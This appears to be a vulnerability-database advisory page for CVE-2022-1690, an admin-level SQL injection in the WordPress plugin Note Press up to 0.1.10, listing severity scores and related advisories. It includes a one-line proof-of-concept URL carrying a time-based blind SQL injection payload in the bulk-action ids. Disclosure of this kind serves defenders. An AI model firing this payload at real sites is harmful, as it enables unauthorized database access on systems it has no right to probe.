Lucene search
Daniel KrohmerWPVDB-ID:54E16F0A-667C-44EA-98AD-0306C4A35D9DHistoryMay 09, 2022 - 12:00 a.m.
Note Press <= 0.1.10 - Admin+ SQLi via Bulk Actions
2022-05-0900:00:00
Daniel Krohmer
wpscan.com
3
0.001 Low
EPSS
Percentile
21.8%
The plugin does not sanitise and escape the ids from the bulk actions before using them in a SQL statement in an admin page, leading to an SQL injection
PoC
https;//example.com/wp-admin/admin.php?page=Note_Press-Main-Menu&_wpnonce=e4ee1ce89d&action;=delete&paged;=1&id;%5B%5D=18+AND+(SELECT+3630+FROM+(SELECT(SLEEP(5)))KdTt)&id;%5B%5D=19&action2;=delete
| CPE | Name | Operator | Version |
|---|---|---|---|
| note-press | eq | * |
Related
wpexploit
wpexploit
Note Press <= 0.1.10 - Admin+ SQLi via Bulk Actions
2022-05-09 00:00:00
cnvd
cnvd
WordPress Note Press plugin SQL injection vulnerability
2022-06-13 00:00:00
prion
prion
Sql injection
2022-06-08 10:15:00
nvd
nvd
CVE-2022-1690
2022-06-08 10:15:10
cvelist
cvelist
CVE-2022-1690 Note Press <= 0.1.10 - Admin+ SQLi via Bulk Actions
2022-06-06 08:51:26
cve
cve
CVE-2022-1690
2022-06-08 10:15:10
patchstack
patchstack